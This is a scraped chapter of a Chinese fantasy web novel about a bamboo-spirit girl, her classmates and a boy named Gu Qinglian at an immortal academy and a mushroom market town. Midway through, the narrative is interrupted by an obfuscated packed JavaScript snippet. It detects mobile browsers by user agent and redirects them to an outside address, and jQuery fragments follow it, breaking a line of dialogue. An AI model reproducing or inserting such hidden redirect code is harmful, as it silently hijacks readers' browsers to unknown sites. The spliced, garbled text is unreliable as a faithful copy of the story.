6. 蟾蜍
作品:《重生后病娇魔头哭着求我》 茅坑里颤巍巍举出一只可怜的小白旗。
杨婉竹托着下巴,明显对陆池的投降持以怀疑的态度,小白旗仿佛生怕她一走了之,开始着急地左右跳舞。
杨婉竹叹了口气,变出竹杖把陆池从坑底拉了上来。
陆池上来后,猛地扔掉小白旗,就准备和杨婉竹算秋后总账,谁知一瞥眼,就看到少女脸庞上的晶莹,犹如冷水浇头般,怒火顿时全灭了。
“竹子,不至于吧,为了让我帮你的朋友出个馊主意,苦肉计都用上了?好了好,我害你淬冰水,你害我掉茅坑,我们谁也不欠谁的,扯平了!”
“什么苦肉计,我就是想到了一些伤心的事而已。”
杨婉竹擦掉泪水,转而变了一副脸色,捏了捏拳头威胁道:“接下来要说的话你最好仔细想一想,这决定了是你这辈子的遗言,还是救我朋友于危难中的好办法!”
“……”
眼看她一步步走近,陆池汗毛立起,在最后关头闭着眼睛大叫道:“我想到办法了!!!”
共谋大计的两个人先后回到学庐内,陆池一进门,全体学生不约而同地把毛笔插进鼻孔堵住,表情不言而喻。陆池毫不在意,吊儿郎当地坐回位置上。
胡小眉憋着半口气:“靠窗的同学将窗户全部打开。”
燕子心拍了拍陆池,忍不住抱怨:“都是去茅厕,怎么杨婉竹身上没味儿,你是掉坑里了吗?”
陆池侧过身:“她那是天生的空气清新剂,我一个做动物的和她做竹子的能比么?”
某棵竹子打了个喷嚏。
少女坐在最后排,甜栗色的头发挽成一对活络的花苞髻,飘带随风而动,时不时擦过顾青莲的面颊,她注意到了,刚想摆弄一下头发。
顾青莲伸出手捏住飘带,用力地揉搓了两下,都给她揉皱巴了。
“沾了些土,抖落了。”顾青莲松手道。
杨婉竹稍稍疑惑,她们仙生的竹子,天生有着净化污浊的效用,小时候娘亲常把从她脑袋上减下来的头发放在房间里,个把月都不会落尘土。
不过茅厕那种地方还是太脏了!
她一棵小小的竹子,净化不力也未可知。
杨婉竹在心里叹了一口气,轻轻扭摆腰肢,将背面自己看不到的地方露给他,小声道:“帮我看看,后面有没有沾土。”
深衣黑白交间,夏日炎炎,纯白的那层为了轻便做成了轻纱,不难窥见底下雪白细腻的肌肤。
身边的男孩被吸引住了目光,微微一怔。
见顾青莲不及时理睬自己,她扭着小腰,偏过来使着劲儿往过看,云纱随着动作堆折出层层的衣褶。
她越往回看,褶皱积得越多,但又是柔软的,犹如悠悠春吹在清风的逗弄下掀起的微澜。
“有泥,压在衣褶里了。”他张口道。
“啊,那你快帮我弄弄。”
杨婉竹保持着这个姿势,让顾青莲帮她把泥巴拍掉。
小时候大伙在泥塘里翻滚,也经常互相拍泥巴,钻着拍泥巴的空子,都恨不得把吃奶的力撒在对方的身上,一拍一个淤青的掌印。
杨婉竹不由得绷紧了背,涩声道:“你拍轻些哈!”
窗户大开,夕阳余晖自由地晒在她的身上,晒得整个人人摸上去都热乎乎的。
顾青莲快速地收回手:“好了,拍掉了。”
就感觉有猫儿的爪贴着她挠了一下,杨婉竹坐正身子,正想说点什么向顾青莲表示感谢时,在窗外盘旋的千灵鸟仰头发出一声悦耳的嘶鸣。
“同学们,今天我们在理论上讲解了‘瞬移’术的概念用途和意义,瞬移之术可以缩地成寸,去常人所不能去之地,但即便是仙门百家,也不能凭空生力,需要借助一件趁手的灵器。”
胡小眉说罢,掌心中赫然显现出一把弯刀,刀形小巧,皎白如玉,她笑道:
“我这把兽牙刀来之有趣,在我还是一只幼虎时,贪玩耍,不小心磕掉了口中最锋利的一颗牙齿。兄长觉得弃之可惜,就拿这枚断齿帮我做成了兽牙刀。它伴我许久,我也舍不得再换旁的,你们在选灵器时,可不要和我一样,选了一个中看不中用的!”
灵器意在借力,借灵力。
比如杨婉竹的竹杖,便是她天然生长的竹林中最长寿也是灵力最盛的一棵仙竹,只是少了些机缘,千百年未曾化生。
又比如陆池的鹿角,是他们山鹿一族的传家之宝,燕子心的燕窝,是她母亲衔来云荒奇木搭建而成,无一不是无价之宝。
灵器认主,有一不实之言,说这灵器的品性和主人的宿命将在未来有着千丝万缕的联系。
在胡小眉掉牙时,她还只是一只年幼的白虎,力量自然不足,这多年明明能够再换灵器,但她现在还将兽牙刀带在身边,该是个非常念旧的人。
胡小眉最后说道:“我们下一节课要进入术法修炼的实战,没有灵器的同学,速速准备。那么如果没有其它事情的话,除了陆池同学以外,其它同学可以下课了。”
一直没听进去的陆池突然听到自己的名字,一脸茫然地抬起头:“干嘛?”
胡小眉教鞭一甩,语气温柔中压抑着狂暴:“陆同学,让我们好好算一算,你因为砸蚊子砸坏了的书案应该用你几颗脑袋赔!”
杨婉竹临走前不忘添油加醋地说:“老师,打狠点,他皮厚!”都走出门了,还撒着欢跑回来扒着门框补充,“脸皮最厚!略略略!”
陆池:“……”
橘红色的夕阳和天幕相溶,天地短暂地化为不浓不淡的粉,学堂建在一座矮小的山峰上,前些日子下过雨,盘山路微微泥泞,大伙好像一团颗粒分散的流体,一块往山下走去。
杨婉竹平常都和温顺的鹿妹妹们一起,今天多出一个顾青莲,鹿妹妹们都热情地围了上来。
“你是竹子的弟弟吗?你长得好漂亮!”
“可我记得竹子你只有一个哥哥欸,难不成——”小麋鹿眨眨眼睛,偷笑着,“你爹娘感情好,又生了一个,还生了一个这么漂亮的!气质蛮高冷得嘞!”
还真有小鹿掰着手指头数:“不对啊,小弟弟看上去也有十二三岁了,要是你爹娘生的,我们早就知道了,不会是——竹子你生的吧?可是也不对啊,岁数对不上!”
小麋鹿想到了什么:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274363|166675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“今天在课上我听到燕子心说什么童养夫,会不会真的啊?”
杨婉竹:“假的假的全部都是假的!”
被鹿群挤出圈外的杨婉竹艰难地从地上爬起,拍了拍屁股上的灰,心中一万个祈祷:如果小魔头能够被热情淹死就好了,可惜不会。
她把一头头小鹿扒拉开,将顾青莲捞了出来,大声道:“是弟弟,是捡来的。”
沉默了一秒后,探出一个鹿头,怯怯地问:“不是童养夫的话,这么漂亮我们能亲吗?”
继第一个头冒出,第二三个小脑袋盖房子一样飞速地冒了出来。
“我保证只亲脸,不亲嘴!”
“能让他当我的童养夫吗?我喜欢啊!”
“这么可爱的小弟弟你可要保护好了哟,听说山下的村庄有妖怪吃童男童女呢,好多的小孩子都失踪了,欸人呢?”
杨婉竹脚底生风,抱着顾青莲一溜烟跑下山。
夜幕踏着缓而持重的步伐悄悄降临,树林睁开暗绿的眼睛,盯着一高一低的两个小人的逃亡。
好不容易把那阵咯咯的笑声甩到听不到,她才慢下步子,把怀里的顾青莲放下来。
天空从高到低沉淀出柔蓝、海清、乌黑三种不同的色泽,好像处于流动状态的涡流,深深的,瞬息万变,只有山下一片低洼处好似永恒地保持着熙攘,那是百家交汇的中心地带——
不是回倚竹山庄的路,顾青莲轻轻拽了拽少女汗淋淋的袍袖:“我们去哪?”
杨婉竹朝前方指了指,似答又似未答:“看!”
目光向人间一落,天色骤然大亮。
蘑菇凿空的小房子一座紧挨着一座,菌盖的一圈吊着绿油油的灯笼草,每一只小小的灯笼里,都藏着一群更为微小的萤火虫。
房门几乎都开着,里面的人虽然忙碌着,但一脸的优哉游哉,忙着往瓦罐里倒满据说能青春永驻的咸味酒,忙着把会唱歌的小兔子塞进箱笼……忙着忙着,生活好像就是为了忙着而忙着。
但他们脸上都露着快活的表情,一枚一枚的银钱填进口袋,一个个“膘肥体壮”,一个个喜笑颜开。
在小蘑菇房的间错地带,有一条一人身宽细的车轨,琥珀似材质的车厢在轨道上横冲直撞,偶尔有几个轮子崩到某个倒霉人的脸上,那人也只能大骂一句:“哪个倒霉的!”而无可奈何。
上车只需要一枚银钱,只要投进长在车厢上的蟾蜍咧开的大嘴巴里,它会兴奋地吞下,然后喝令车停下,再恭敬地把车厢门打开。
杨婉竹弯腰塞给顾青莲一枚银钱:“扔到蟾蜍的嘴巴里,我们就能快点到了。”
“用瞬移术不就好了。”
“我不会!”杨婉竹向前推了他一把,催促道:“赶快扔,扔准点。”
盯住那只丑陋的蟾蜍,顾青莲随手一抛。
银币以最尖锐的角度直直地戳进蟾蜍左边的大眼泡里,看到蟾蜍的眼睛里流出血,他轻哼了一声。
下一秒,银币从蟾蜍的眼睛里滚落,恰到好处的被它吃了下去。
它只好忍着眼睛的痛,用有史以来最凶恶的态度叫道:“车——停下!”